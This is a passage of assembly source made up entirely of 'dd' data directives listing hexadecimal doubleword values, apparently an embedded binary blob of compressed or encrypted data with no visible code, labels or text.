		dd 0FED7D101h, 0B5A2E8F1h, 1C203831h, 58C090B8h, 0BB00F1F2h
		dd 973FCB67h, 0D70078F4h, 0E944231Fh, 3CB7110Bh, 0DC8021C4h
		dd 0BFAA5E65h, 2D3D7FDDh, 0F7F280A0h, 0E05C0D9Bh, 0A0C7B06Ah
		dd 3783580h, 7923B713h,	0C0A7804Ch, 6238BB11h, 0EB0F041Fh
		dd 0B33CD180h, 0B0EF6B4h, 0D4715E24h, 0F1E12C00h, 4A0084CCh
		dd 0DB229119h, 0F40C199h, 6C637B98h, 0AB4DC060h, 78000426h
		dd 29ACC33Ch, 1CB98B7Fh, 0CE761031h, 0BBA00142h, 2393361Fh
		dd 4D85D902h, 701DA384h, 9ACB005Ch, 8DF39F66h, 50C142B9h
		dd 391C28E0h, 0F27185DCh, 0B5D3838h, 0E6F2698Eh, 8B844BBEh
		dd 7D6A6380h, 92001527h, 0DBDE879Bh, 0EEBD2F04h, 11F600A9h
		dd 0E4B0F1EDh, 2A000F75h, 910687BCh, 0FB2554h, 35CD30A3h
		dd 0B43EB9A4h, 34EAE405h, 0B4909324h, 0B9CD3D70h, 2E7100C8h
		dd 3C55B1EEh, 0A9220C02h, 0C01C4ADEh, 0FFE28Ch,	0D8B61372h
		dd 83483746h, 74777C00h, 3214C993h, 0F6714C1Ch,	46130507h
		dd 0E840E42h, 8647C09Fh, 80037C0Bh, 1AF7295Dh, 70BB9817h
		dd 2671FEEh, 0B33A4074h, 4AA2DED7h, 793963E0h, 1B69AEB8h
		dd 4400B413h, 0C375A834h, 307C815Eh, 11006910h,	467602E7h
		dd 0E831484h, 0B9D82D17h, 40D1AB60h, 560B3D4Dh,	8BF75335h
		dd 19140A11h, 0F1D8300h, 45A5ECCh, 0EAF909D3h, 7044C031h
		dd 0EB406237h, 0C57A0Dh, 8A4D16Ah, 0B3AB01D5h, 0A35DDB00h
		dd 8B20A785h, 94AE0F65h, 5C809C34h, 0F191A412h,	16485390h
		dd 0DA2D010Ch, 0B1B5C409h, 25D3D1D0h, 6007F030h, 0D83E323Bh
		dd 0BC6F6460h, 3700909Eh, 23EF5C82h, 0F97704A4h, 8025744Ah
		dd 0C9805B5Dh, 2717A502h, 40B79C2Dh, 5D8678Bh, 7EBC0DBBh
		dd 0A0B86041h, 6F24DFC3h, 3800C419h, 13BAA89Ch,	0F6AD02DBh
		dd 72D325B9h, 202FEDC1h, 12112A08h, 990B4AD0h, 64006108h
		dd 0A829023Ah, 67FD5100h, 851C5C83h, 62B42432h,	506E0BA4h
		dd 0C4B5F680h, 1000D80Dh, 8B4388BAh, 3ACAFEh, 9762C34Ch
		dd 5FF2CBF8h, 2E6A9A00h, 546DDAF4h, 92963C09h, 0F05BC980h
		dd 5ACC57CEh, 0F1BFF700h
		dd 78DED61Ah, 4B19008Fh, 984175D8h, 2007017h, 7688ABF3h
		dd 1A40774h, 3EDAF61Fh,	0CC14E205h, 3D3083B8h, 0B224D866h
		dd 21BC5A16h, 6F89E240h, 490D39F0h, 4B0060C8h, 0FDD267C7h
		dd 981DD9B1h, 8F476275h, 80799146h, 73873E7h, 1C0300E7h
		dd 6AF8F632h, 0B802FBE6h, 719850D6h, 8294CA95h,	0F8223BD7h
		dd 6C875970h, 71DECF00h, 40A9F61Eh, 8932A318h, 0BC90320h
		dd 6BFC0286h, 125FD880h, 48E234AEh, 0C1B05100h,	5CC59377h
		dd 0C0B10191h, 7483F875h, 25C76B9Fh, 2A8A3FC0h,	0E8990068h
		dd 1C0458DDh, 0D600C459h, 4A310A49h, 90D45269h,	50160114h
		dd 704561A7h, 0C340F0FFh, 8BC240Bh, 0B3CB80B9h,	1E5F900Fh
		dd 40483BC1h, 5234E570h, 0B6002C36h, 0A0DA60EAh, 22668Ah
		dd 47DECABBh, 0E6C7E873h, 8293A300h, 0D2DBDD4Dh, 90E00E51h
		dd 0E878674Eh, 681403A8h, 1EF89B24h, 50D2B30Ch,	169AA4CCh
		dd 1BFF84h, 0DA9349D0h,	0A6007B69h, 0F1858635h,	0ADEABDh
		dd 82DC8C26h, 5733B2E6h, 2012C4E6h, 900068CAh, 0D335B5B7h
		dd 8CB300F7h, 0C47D1893h, 5A7D45FCh, 6448E700h,	19C5E0ABh
		dd 0BF6B0031h, 395CC068h, 0A706431Eh, 3F0281D2h, 3EC27A68h
		dd 23005098h, 7E3552FDh, 0F6242DDEh, 9FBDDC0Dh,	0E1C4B1ADh
		dd 31C141C6h, 56203815h, 0C0A40088h, 8F7ADAE2h,	0BFF8959Bh
		dd 0F4BD2501h, 7F82B354h, 359E8ACh, 0A5AA2399h,	5E0B41B0h
		dd 2200C0B0h, 3BD27C04h, 0C1EB082h, 0D4A6AB50h,	88072E98h
		dd 9C95C081h, 0D04C1043h, 0D6C953h, 0BCCD19ECh,	0D482FB73h
		dd 0A6D70400h, 0A1CAFD05h, 5EFF0081h, 130A1E26h, 0CD3B826Fh
		dd 0C9A48030h, 3699742Ch, 1C550051h, 0DAC04E79h, 0EA04B84Ah
		dd 9AB1270Dh, 0D60280ECh, 288AFD36h, 0A2D724C0h, 723E4Ch
		dd 0EE8BA9D9h, 3EA5962Eh, 0D60034D1h, 6A91AED7h, 0EA006FE1h
		dd 0C102ECF1h, 12A7BF4h, 0C0546273h, 0D0A31DADh, 0F27ECFEFh
		dd 9BEBBA0Fh, 4E58612Fh, 0C0DB5E4Dh, 0CA1319h, 68DAE798h
		dd 302A6FABh, 15D2600Fh, 0DECEDEDFh, 0E45420h, 0D0D65404h
		dd 6F76E41h, 98E62DCh, 5B24C08Ah, 468FB010h, 20974F57h
		dd 90B2ECB6h, 2B253A73h, 98BC2082h, 0A2E02367h,	2C00DBC1h
		dd 42159DA1h, 0F2205E4h, 0F6C29180h, 663C7022h,	0A17EB840h
		dd 1E035626h, 73D64F0Fh, 0F1D52C80h, 581A12A7h,	0ED0500D4h
		dd 66348085h, 7FD2E000h, 99118EFBh, 0A470A5h, 0D980A3Eh
		dd 0DA97E952h, 385D8F32h, 0B75E037h, 3BB31867h,	8C9A303Ah
		dd 6816D501h, 3921140Fh, 0A76A8881h, 0C47FE6C3h, 0FD0FEE7Dh
		dd 0E0654E80h, 86D99EB8h, 0B644B86Ch, 97750094h, 0FC8058ACh
		dd 74C6CEC0h, 7728FE29h, 2BFEF7h, 783D9241h, 1DA4BA33h
		dd 0BC39F400h, 3F521227h, 0A2950051h, 78D93E2Eh, 0B8006407h
		dd 0E84E5A33h, 5897B8Dh, 0BA7F9CD6h, 9BC00098h,	7AF3E951h
		dd 47918500h, 0ABF0A4D7h, 0FB3FC8Eh, 7BF179E5h,	6327D8E0h
		dd 200E35Dh, 0DEE7EB1Bh, 32055Fh, 0E24E6C40h, 0C253360Fh
		dd 7BFD20h, 739266BEh, 2821EE26h, 2E083D58h, 13F80C2h
		dd 3BFB9E84h, 0AC3045A6h, 48C30085h, 8E2D7625h,	0B900F8AAh
		dd 2722349Dh, 0C44289h,	375515DAh, 7088FFE5h, 0F0957A26h
		dd 9C00B897h, 8ACAF304h, 0E77300EEh, 0A93BEC89h, 49EC80F8h
		dd 210057FCh, 0AFCBC441h, 50767Bh, 0E5F8C8D2h, 208E8C38h
		dd 0B12E5Ch, 0FE1E0C6h,	0B281D8h, 52157CB8h, 0A4661105h
		dd 2B035690h, 4D6D2875h, 9E8000D2h, 0EA70C1A7h,	0A00027E5h
		dd 78F47D8Dh, 13E1ED6h,	0D990EF41h, 0CCA7479Fh,	39005456h
		dd 0A9BBFB7Bh, 0BD318Ch, 153F17E5h, 87448B49h, 0A6011F77h
		dd 0AB9429B6h, 0F0306C80h, 489500F0h, 0D938C93Ah, 9A01E970h
		dd 0CC7EE3D3h, 68F0FA5Dh, 40C5074Eh, 17D5154Bh,	970AF09Ch
		dd 302D51BBh, 317CA00Fh, 7C1B4D01h, 4EAB045Ch, 0EC640A92h
		dd 1EA40004h, 0BFC7C1A3h, 0EE0E000Bh, 72C97A52h, 42004E45h
		dd 7818E3D4h, 20DFE5h, 978DAB2Fh, 0CCE82889h, 75DB560Eh
		dd 0D9552066h, 2EE1613Dh, 0BE805B2h, 20008FC8h,	95A484D3h
		dd 0D6F25B7Ah, 0ECE9B000h, 0DBCD2052h, 4E290760h, 2B0FC2BFh
		dd 25E9718Fh, 8606A4E0h, 5897F858h, 2F2E838Ch, 46E6A80Fh
		dd 0B4B1003Eh, 0A18621DBh, 552DDAFCh, 2EFA8760h, 0B508816Bh
		dd 118E8963h, 5B090927h, 0BEEE7A00h, 802C7FEDh,	82938439h
		dd 321830C0h, 0AE3F0010h, 9A010A51h, 0AB005F1Eh, 0FB577AC4h
		dd 3D6B5Bh, 220F779Ch, 4DC2F341h, 0B62BD8A0h, 2807FA00h
		dd 780A439Ah, 153200ECh, 0C7E7A8FEh, 373B21A7h,	0B08C007Eh
		dd 6110F439h, 0BF6E00B8h, 414F3083h, 0F60F1C0Ah, 0C31FB681h
		dd 0B82CAA9Dh, 12CD38D5h, 80CE15B7h, 58A9FB7Ch,	0E704D200h
		dd 0CAC181D9h, 0E5FD0E88h, 0FE05CCCh, 72A01E8Ah, 0D17E3902h
		dd 4831F512h, 3C3FA160h, 0AAACDF07h, 0C4940148h, 0D8AD860Dh
		dd 11015C36h, 0E724B0A4h, 0C880584Ah, 8E473ECEh, 5C00ACB4h
		dd 90A1EDCAh, 1E597F79h, 0ECBA9D8Ch, 0C196059Ch, 2AB4F0E5h
		dd 8084D43Eh, 94AFC2F4h, 29399723h, 8FB4FDD8h, 4885741Eh
		dd 11A00059h, 19D7BDE4h, 0DB1B1000h, 15494062h,	0C4B11C6Bh
		dd 5D25C228h, 0EC606ED6h, 0D9E02DDCh, 68AFF1Fh,	0F557BCC0h
		dd 4CCEA2FBh, 2600B7F1h, 767C7F6h, 0A0002F22h, 0F3141BEEh
		dd 4E3C6Ah, 2D8AF416h, 343AE927h, 0FD68BD01h, 0B8F9D5CCh
		dd 0EF803ECh, 33F02951h, 0A60A14Eh, 0DF208D5Ah,	6D00A77Eh
		dd 0A6C090D1h, 3DC7B3h,	7821A5C1h, 88A95880h, 0C6292700h
		dd 0AF17670Ch, 0E5CE0055h, 6CD11ED3h, 2609EE51h, 60C58624h
		dd 14DD48h, 95B1F1A3h, 42A61A4h, 80E3BE00h, 0DA21C5EFh
		dd 0A60F005Eh, 16D99F25h, 0A4009263h, 0F11FE45Ch, 0A81E19h
		dd 3A968C7Ch, 0B4122F49h, 0B9F49000h, 0CC5618C1h, 0CDED1E66h
		dd 57348159h, 20B72F11h, 7C1D257Ch, 602C04F9h, 0CB46813h
		dd 0C781201Dh, 0FD004AF0h, 954CB5ABh, 630DB1BEh, 0C570B8DAh
		dd 3AD0EAE1h, 5603F040h, 0F6EF127Eh, 41B20098h,	6D096C7Bh
		dd 0B604829Ch, 0D554062Ch, 148838ECh, 4BEFF080h, 0E22456h
		dd 7DB602CCh, 0DD9D5546h, 0E4F5C81Dh, 4B1A3903h, 0EB41275Fh
		dd 11602C64h, 4E9AA130h, 16BD077Eh, 0A0D05F5Eh,	0DED6820Ch
		dd 532DC300h, 1C3B09F6h, 0A2ED003Ch, 6A4995D8h,	0D2009C38h
		dd 0DAEA4E03h, 0C4E676h, 0DEF95D84h, 1AEE8FB0h,	0D8CBC903h
		dd 98E30CF3h, 2C31079Dh, 23C399h, 144B6BE0h, 0CB03DD5Fh
		dd 0E35A377Eh, 0DE0CF8A9h, 2A830089h, 1D82F33Fh, 0CD1D90C0h
		dd 0E42C6618h, 0B1DD823Bh, 807207ADh, 52C63CE0h, 3E100B70h
		dd 6700F388h, 0BD110209h, 5C5923Ch, 7D8D5BCh, 0BE8A8420h
		dd 0DDE90356h, 0EB8BF498h, 21AC0930h, 5685AAh, 96264390h
		dd 42BACC02h, 0C4E9081Bh, 0A95FC850h, 0CB58C892h, 0F4A900CBh
		dd 0A9F5B0DDh, 0AB10A92Ch, 0C5035684h, 139A5871h, 9B8AB111h
		dd 14161A30h, 0D0C96B41h, 5080A880h, 8B609188h,	19E2B211h
		dd 9C252432h, 941D0C00h, 0B7B608h, 19E5DD1Ch, 64CD0076h
		dd 833A1B8Ah, 9E0C4720h, 68F1F548h, 1407070h, 9F97CAA1h
		dd 809C3B28h, 7F2CA718h, 237AFCh, 3CB75192h, 1DC7AE45h
		dd 17865200h, 7EBF2B5Fh, 0EC7000B1h, 0A89FA985h, 0E875252Dh
		dd 0C0F111F8h, 0F200801Ah, 0ABAAE757h, 126BDDh,	65DB8A0Bh
		dd 2FCDBCD2h, 20EB6C00h
		dd 7A3339A8h, 0B3D0022h, 0EF8AA34Dh, 4B010FF1h,	2747498Fh
		dd 0D8CCDD88h, 3EE256h,	0B8344AB9h, 0DCD0CBEDh,	0E5FA0103h
		dd 0C0AEB5FBh, 28173362h, 0C83872h, 25C0FE5Eh, 0C9F0E92Ch
		dd 24E81E00h, 51025BD4h, 0D9E20064h, 41088717h,	8900BFB4h
		dd 6BE711C9h, 7815431h,	2CA3C82Bh, 0B322E73Ch, 28D8D174h
		dd 1B004B70h, 59460849h, 18E1DD76h, 80DAE2Dh, 20C07E5Bh
		dd 0BB462037h, 0FCF80080h, 0CDD5DA77h, 61003893h, 0D87622B7h
		dd 0FDC2EDh, 10CC034Ah,	0A2EEF383h, 18B52100h, 19E3ACF7h
		dd 0E52E0129h, 0CF591ABDh, 8003E324h, 32B08F16h, 0A17CF933h
		dd 0F71E0C41h, 0B9CAA180h, 17EC4CCBh, 9FAA4A06h, 46C9B74Dh
		dd 460C02F5h, 1C3D7665h, 46246300h, 3067C02Fh, 975F0DBDh
		dd 0BF369320h, 62FB9E50h, 47C1C870h, 0ED641883h, 58DA1819h
		dd 0E4FEFC7Ch, 4C5CD007h, 0A57065ADh, 5AE226h, 4EA8989Fh
		dd 7D91EE84h, 46235200h, 9610EF02h, 264476B4h, 8A89F8h
		dd 30549A32h, 0D0006375h, 48E5F54Ch, 0E0933A08h, 4E5D012Fh
		dd 0D120C77Dh, 2E58607Bh, 604D331Ch, 0B0418840h, 6E8D63h
		dd 0DF5BFAEFh, 0AE785E13h, 6AD13300h, 0F0B3F2CBh, 25220015h
		dd 0FA081D66h, 3013CE0h, 2939389Eh, 68E4330Ch, 0B47683h
		dd 977D2F14h, 0B007A0C0h, 3A52E863h, 431E92C8h,	2812B8FEh
		dd 358F0001h, 2CD9ABB4h, 3F00A485h, 0BDB0E16Bh,	9897874Ch
		dd 15611DF5h, 1F7D4036h, 1D25CE2Bh, 0D6B3E900h,	56DB5890h
		dd 2CD839F7h, 9B9D2D80h, 1BC4FB94h, 0FF578600h,	0B89C3321h
		dd 6703006Ah, 0E846D461h, 0AB0091D2h, 81E0CDF9h, 1BC5B5h
		dd 0F25154C4h, 3D09CADh, 0D994570Eh, 979BC0CDh,	8986CFh
		dd 0A6C4A565h, 1261ACF0h, 0B358C500h, 0CACF5256h, 3F5D185Bh
		dd 8B6A5015h, 3AB511Ch,	1EF79181h, 0E88098C1h, 787CBD57h
		dd 0D200EFA6h, 45FA449Dh, 0C0B91CACh, 196B4A88h, 9E006CA8h
		dd 97C4CF7Fh, 3E678C69h, 4F30F295h, 75D62C98h, 5608D418h
		dd 327DF10h, 0FB36C4C9h, 5BB83777h, 0FF3A1EE6h,	0D27000B2h
		dd 8557BC1h, 0D09100AAh, 0C2955A93h, 78001DA1h,	60B1892Eh
		dd 848D87h, 7B452ADDh, 8E923D80h, 57041582h, 0F8CD9100h
		dd 22DC18h, 2305CA29h, 0DAF23447h, 853CB400h, 0DE1BBDE1h
		dd 3BF80F30h, 3D0EE207h, 640FF80h, 0D0F9D7D1h, 2901DBDEh
		dd 0BD3ECB12h, 41D0C232h, 1B013E07h, 2CDD190Eh,	0C0CA0E40h
		dd 0F61F1A47h, 0DC00F358h, 0D66D42FBh, 0FF8702Dh, 21493833h
		dd 0A9F4C106h, 4EFEC000h, 1E12DD8Dh, 0D0EB00D3h, 841BDA4Bh
		dd 801D2253h, 0C092BA68h, 0AD45CA00h, 0C8E44614h, 0F5421E29h
		dd 212D2463h, 0B211DA15h, 6C41111Ah, 2D109912h,	8B689D2h
		dd 481D02DFh, 99E5C0FBh, 25370A22h, 993C1E4Ah, 8912905h
		dd 0E244490h, 30E011E1h, 0AE107D12h, 8628919h, 0A912440Eh
		dd 23172284h, 4C112642h, 1FB52107h, 7A4222F2h, 1118A911h
		dd 3C118B21h, 9188743Eh, 0E84300A8h, 0F34CA9B6h, 24E69EBBh
		dd 0AE3C650Eh, 2A8F0382h, 0DA3D90B5h, 0B700051h, 0F864A48Dh
		dd 55007E90h, 0B21EEC61h, 1C536DBCh, 80E25E70h,	34BBDDCBh
		dd 7F00C4A3h, 373FEC8h,	7EF30C5h, 493ADBD0h, 6D89080h
		dd 650035DAh, 36F9D6FEh, 7104C75h, 0A512790Dh, 1C93438Dh
		dd 2384B088h, 0FC2E150Ch, 4B21BEh, 0C5F3EA20h, 71BA8525h
		dd 318424E7h, 493E5D00h, 96346AADh, 3D53009Ah, 6FE5783h
		dd 3500D70Eh, 51D8A46Bh, 5DF582h, 217A6650h, 595236D5h
		dd 80C71038h, 0EB588EA0h, 794F47h, 0AB768CD4h, 9DF823Ch
		dd 0EA4E9000h, 390A0B0Ch, 0C020E393h, 25E9C03Ah, 9467D524h
		dd 452D6800h, 964813E6h, 75511C59h, 1C5380C6h, 8BD601ADh
		dd 67D7C700h, 0E5D03B7Ah, 0A19A00EFh, 0B2047BF7h, 28C01E29h
		dd 3891D4A8h, 0BBE06Fh,	566A59DBh, 7A43A5E2h, 0AD800200h
		dd 0AF9B3F8Eh, 9A8A023h, 0B4060063h, 0B3B552A9h, 0FA07DE62h
		dd 614EBA22h, 0F5653BE0h, 1D49007Ah, 258E69BDh,	40166D5h
		dd 0CAC52801h, 8FE8F8AEh, 0E2FDED10h, 0FC478C8Fh, 0E60E94E0h
		dd 0DA00CEC9h, 394DFDA9h, 93EB17h, 30043815h, 0CD322EE1h
		dd 0D507DC14h, 315500CCh, 336DAC90h, 738A0099h,	1DBEDB5Ch
		dd 6900C824h, 72F11723h, 0F4F5EEh, 4311B92Fh, 481AAC1Ch
		dd 8892205h, 0F700C24Eh, 66798BA6h, 3890F2h, 1981B3E5h
		dd 29B0F345h, 0B857493Eh, 883C03E6h, 88121BB1h,	0F0FDB55h
		dd 0C6F2D02h, 0E97DC03Eh, 489D2603h, 5F747E0Eh,	2ACCA032h
		dd 245EA67Ch, 181C15h, 0F7386F55h, 583896EBh, 8034B8CBh
		dd 28DD024h, 0E8EC25h, 4F2F321Bh, 0A3813804h, 3B0A1C14h
		dd 0BEE600E9h, 2B3D9F57h, 0C37A00F6h, 0EB1612B1h, 8898D180h
		dd 7347101h, 0E1D4EDBh,	7A5B3DCCh, 0FF9300ECh, 0BB18D143h
		dd 97036F09h, 16644258h, 48AB88E0h, 0FAD600B8h,	0F5203EDEh
		dd 60EE530Eh, 7B896F00h, 40D7F676h, 0C5F26Eh, 791E85EBh
		dd 0EA2E0E63h, 4F1FDB98h, 9C435211h, 9869A57Ah,	9DA4A9h
		dd 8CAD7351h, 56C71B38h, 318E1D00h, 9BCD26D3h, 51B3000Ch
		dd 1FDF64D7h, 0C80FE0FFh, 20C09501h, 0FE8F4731h, 2426FADDh
		dd 8CC54Ah, 86A748E7h, 5E00AD3Dh, 0BB5A6CF4h, 0F22F8F9Dh
		dd 1B400045h, 334D5FF2h, 9E00707Fh, 0DB6173C8h,	0C28F1h
		dd 21233803h, 0ECCD83B1h, 7F7D5800h, 1EF4EB4h, 12F4009Ch
		dd 0E2DAB97h, 22860FBh,	5900A83Fh, 48BE2272h, 1D9FEE6h
		dd 0DA9B790Fh, 0E8E1EB9Dh, 30250BDh, 447A911Dh,	23CDE129h
		dd 0C29024h, 0F58382B9h, 45F75DFh, 0EB411204h, 40C014D6h
		dd 0CC36322h, 364F696Fh, 0B202BDD0h, 70D99765h,	540040B8h
		dd 0C30E384h, 0A6390CDBh, 0A3914B8Ch, 0B2631A00h, 2BE1E220h
		dd 948000AEh, 518C474Ch, 2100DE7Ch, 49C80211h, 0AF2E9Ah
		dd 34D6C09h, 7A905FA3h,	0DAD98A00h, 1CB64701h, 800099DFh
		dd 313D6AA3h, 86000C30h, 29EC2770h, 45C0B3h, 886B5CB5h
		dd 8E6CBD09h, 7D974F00h, 4484C60Dh, 49B10014h, 4A1D9A91h
		dd 600A051h, 68F3B2E1h,	777D08h, 6B0328F9h, 7B8B23D3h
		dd 0B193F403h, 0E0F6FE64h, 240E8718h, 0BF80F7Eh, 2820994Dh
		dd 6B83A29Bh, 0B6298400h, 80D02C15h, 0D3FF0037h, 0EC2D3645h
		dd 7A0041A7h, 0E2B4039Bh, 913A60h, 8EDAA6D0h, 1835EA2h
		dd 0F8F86E24h, 49ABED00h, 0A09CA914h, 87BF8Ch, 1C571F92h
		dd 0D9259D54h, 9C984878h, 13CC3B00h, 3D5D9A15h,	0EEB700ACh
		dd 6EF7AF83h, 40044C2h,	605BD2D9h, 3AEC3DD7h, 0F802588h
		dd 0DFE93A73h, 4300D6DAh, 0CC3E78C2h, 1FD2B45Dh, 27EBA4Fh
		dd 296BC4F6h, 48C12040h, 0DCC72000h, 7DE7CC14h,	2A6E608Eh
		dd 3E49FDA8h, 0D77C9D0Fh, 0BF6183F7h, 5F5EF878h, 0CDB700B9h
		dd 21F9D540h, 7C0FFC7Ah, 0BCD343CEh, 8040B81Eh,	8685C18Eh
		dd 0B2F50055h, 2C1BFE3Eh, 3900F6ADh, 447682E7h,	7478B0D8h
		dd 128A0053h, 67A59CC7h, 900CD63h, 0CA7B9175h, 3DA4FE03h
		dd 1E15C654h, 7ED453h, 0A2ECB77Ch, 0BFDF5895h, 0D48FC200h
		dd 92EA4B4Ah, 9D331D5Bh, 0D2A1009Eh, 165F10A5h,	0FC7F5E00h
		dd 5A5976BCh, 4E1A0EF8h, 0D4E20E19h, 2900E7A2h,	2D75D7h
		dd 7CB0E0F4h, 39C2CD57h, 1EDA58h, 622AD2A7h, 0CAAC6Ah
		dd 177D1C1Dh, 39DC1561h, 0E43ECC07h, 2BE0D6A1h,	482EF48Eh
		dd 0EB00B8CEh, 0AFA45C9Bh
		dd 9000545Fh, 0AC0E8296h, 0CB8D40h, 94E07D66h, 175DFEF4h
		dd 37023CB9h, 4879AC80h, 0C1E3C0h, 0CD95767Eh, 64BCD73Fh
		dd 5CE98D14h, 0F91200F0h, 0B5432C0Bh, 0D5F630E8h, 0ED6F5619h
		dd 31CB2B16h, 0B60C0Eh,	7C50E371h, 63E62Eh, 0E5C68024h
		dd 9FE84F67h, 47B61400h, 89E90234h, 91320393h, 7F9069E7h
		dd 0D597B1D9h, 0A863309Bh, 1AB9ED00h, 6A389A19h, 0B5D90778h
		dd 0A7DC4D39h, 0A9BDC0E9h, 0E4168809h, 84014C59h, 0F2FFFC8Ah
		dd 0DD29F4h, 3135B175h,	0F1B6F302h, 58D70505h, 0F44BBA20h
		dd 0C0608195h, 636071AEh, 9AE603B3h, 0F66F5EFFh, 8B577FA8h
		dd 351212F6h, 27006932h, 40635C82h, 5D6200F6h, 0BA028449h
		dd 4B0A64E4h, 0F4FAA638h, 41F32501h, 81DEBB07h,	691F194h
		dd 1BF1B444h, 0D56CC440h, 0F7A00063h, 4BC64C22h, 890F657h
		dd 0C9262D04h, 7A00AA10h, 15EFA462h, 0CED51400h, 0D1D40E39h
		dd 0BC360004h, 43C2ED9Ah, 96F0FDE6h, 0ECB14700h, 0A94C5363h
		dd 10D7DA7h, 94050AFBh,	20FF54B8h, 890E7F3h, 0D0A45616h
		dd 8AD6FC00h, 0B8F342EBh, 11DB0794h, 0F00AA5E9h, 0C2AE8919h
		dd 8D487500h, 0EC3331DDh, 16BA90DBh, 1D9CD4h, 49C76F74h
		dd 2B00512Dh, 0D1540CE6h, 3F43650h, 673A86D2h, 0B5E87105h
		dd 0E17F1B3Eh, 0BECF3100h, 404FD8BAh, 34163CDAh, 7353680h
		dd 0E509DFF4h, 1FB9F700h, 92EFD71Eh, 542A032Bh,	0DDFBE4A1h
		dd 5F7CE0B0h, 3F00409Ah, 525C5974h, 9D03A69Ah, 0F000C2D0h
		dd 943CFB0Bh, 0BF41BD0h, 0B7B009D9h, 0CBAC4002h, 0C1CC8448h
		dd 35002DF6h, 7F914A56h, 26F394D5h, 640B2Ah, 3DEDD49Ch
		dd 0E9037215h, 6433CF22h, 0DE2DA89Eh, 7F3A006Ch, 0BE6D6F1Eh
		dd 4207306Bh, 0EB81901Ah, 0EEC05C87h, 0FCE28E32h, 748901D5h
		dd 9BFA39AEh, 0E6B47002h, 227A7300h, 70CE7D38h,	0AAF307E3h
		dd 208E1888h, 1F395E71h, 0B81BEA0Ch, 269D21FEh,	405048A2h
		dd 0E04CE233h, 7D72D41Eh, 981102C6h, 817139C8h,	22548500h
		dd 0CD6430ABh, 0D04C3Ch, 96923BBAh, 61AC0DA1h, 317B598Dh
		dd 3848CE2Eh, 0BA07C864h, 2C191148h, 0A9CC801Bh, 0D3F136h
		dd 0C8F468BDh, 7BD1E910h, 0B223F802h, 603B82CEh, 7E1A04h
		dd 0B0A043EFh, 0C6E4D6F5h, 20C88D07h, 0FFE06235h, 11FAC2Ch
		dd 7D6DA83Ah, 708D69DFh, 0DB00B38Fh, 605D3F9h, 35A08E3h
		dd 12785D1Dh, 0EBE03744h, 6C004AA6h, 0A3923A47h, 72331173h
		dd 14A8010Ch, 1EE0638Eh, 0CA70D458h, 34C0B91Dh,	0E3F20F00h
		dd 3E6B48h, 0C87AA04Ch,	6DCCDB24h, 0B7022773h, 0AB93D288h
		dd 0FD60F768h, 0A20B457Fh, 803D57BFh, 654C8C28h, 3CB1FE42h
		dd 0B88097A1h, 0A26B2EFCh, 3FB80120h, 0DD382600h, 0EFC285FEh
		dd 0A5420040h, 0B9289BE5h, 5F0D2970h, 109AF5D5h, 2DCA26FCh
		dd 50C0C7ADh, 49189558h, 5621A18Bh, 0C210745h, 10530A44h
		dd 0CB65E5C0h, 6DD9CE00h, 0E3F191CDh, 3F72E7h, 0E1DB50F7h
		dd 3C62B91Dh, 0AA0F040Fh, 0A9A4E1AFh, 0BF4D41Ch, 337100C0h
		dd 0A811BBDFh, 6F0F6368h, 40E0E840h, 0FDC7ACCEh, 0DB0A0738h
		dd 207CC082h, 62521714h, 0B62AE500h, 0EC0F2BD2h, 56BA013Bh
		dd 1B500DBCh, 0CDC1D4C4h, 0AB0BE3E2h, 0F163C4Fh, 0DC14C014h
		dd 0E27A36FBh, 47A86h, 0BEA6D15Fh, 0A12BE284h, 9DF8AF4Bh
		dd 3C7A300h, 16735335h,	494CE600h, 62D68AB2h, 0FC40008Ch
		dd 0E7EB3FDDh, 0D507AD44h, 0C412728Bh, 7AD0608Dh, 9DF000D2h
		dd 0FA6C39A3h, 8100BA46h, 0FC03E8A6h, 0F3F30C1h, 0B2448C0Ch
		dd 8294D7E0h, 0A70074E2h, 4601C85Dh, 0F4867h, 4CC05CD9h
		dd 98B97BFDh, 8F62803Dh, 0A0E5B337h, 132B4B04h,	1BBF00B5h
		dd 0A151C9FAh, 0EB581C7Bh, 0E7670F7Ch, 0FED8E05Bh, 3D6F3C59h
		dd 15803791h, 82C2E0B0h, 0A1007004h, 0E3941C8Ch, 7E7722h
		dd 325F081Bh, 43ED598Dh, 85100D00h, 0AD31A635h,	0B7B15082h
		dd 10A56024h, 0B7AAE44h, 6F1B4E03h, 8F970DE7h, 6A8475F0h
		dd 0B0B33019h, 0F44E3728h, 0CF06501Dh, 970B53C0h, 0C0193E0h
		dd 42E6D27Eh, 804446B1h, 0F57F141Eh, 7E0FBC4Fh,	980546Dh
		dd 0B11986DEh, 0E7974A00h, 84D1E41Eh, 0D3F5007Dh, 0C42C980Dh
		dd 377A4303h, 0C7003EE4h, 1180DEC9h, 7A6C93A3h,	0A95A3A5Fh
		dd 56303480h, 6245F685h, 0EFA7430Ah, 6700E0A6h,	4F217B8Dh
		dd 2F760106h, 56E5156Bh, 0D02BDCF6h, 5022082Fh,	4CF700D2h
		dd 9FF3464Dh, 173ECAB7h, 0A8C11E0Fh, 0FE764580h, 2B149Ah
		dd 0AB24C9Ch, 655BAB23h, 8A108460h, 194DC0Eh, 18AC7630h
		dd 82CE8E2Ah, 0FB7BE780h, 2E584893h, 0FDDD0086h, 40E8A348h
		dd 1BE42C84h, 0F6CDB31Eh, 76562C3Fh, 0BC877800h, 602993h
		dd 0CAA4C0C5h, 0D9C69142h, 4B8FB814h, 69E303A7h, 0C0AA9402h
		dd 9D7A1Fh, 0A608EB70h,	9A6C218Ah, 49616A16h, 0D8507300h
		dd 185B0B6h, 70CABB3Ch,	2053BD0Ch, 0F97CF774h, 0DAD4F100h
		dd 2967B094h, 0D1433E73h, 50ED1F80h, 665AD664h,	2637E2E2h
		dd 0E133D8FBh, 9F380EE6h, 8480C5ABh, 5E76B34Dh,	5CA8A600h
		dd 8F17E945h, 0B2B707CFh, 0C0F5BF35h, 5D333DC7h, 8061A201h
		dd 0E2F118E4h, 24362570h, 9515C22h, 0D4207907h,	9F1C1BF6h
		dd 8DC249h, 9C40F2CDh, 7532A3h,	928F8790h, 0F5238BFDh
		dd 0C06EE000h, 727BFAA1h, 0D0516A1Dh, 80608348h, 53B004B3h
		dd 0B41D4BB5h, 0BB871EC4h, 2B30819Bh, 3E7D9250h, 0EB97DC36h
		dd 0E7CC0B61h, 0EC127BDCh, 62756040h, 33CD313h,	47764AD0h
		dd 28B02061h, 7301A6A5h, 0A29A7B14h, 241205h, 443F0095h
		dd 8AB064B7h, 7E308208h, 8F2EE81Dh, 6C1296Fh, 21A70094h
		dd 28D26227h, 545BC600h, 61DA4D42h, 0BF87007Ah,	40E1C1D8h
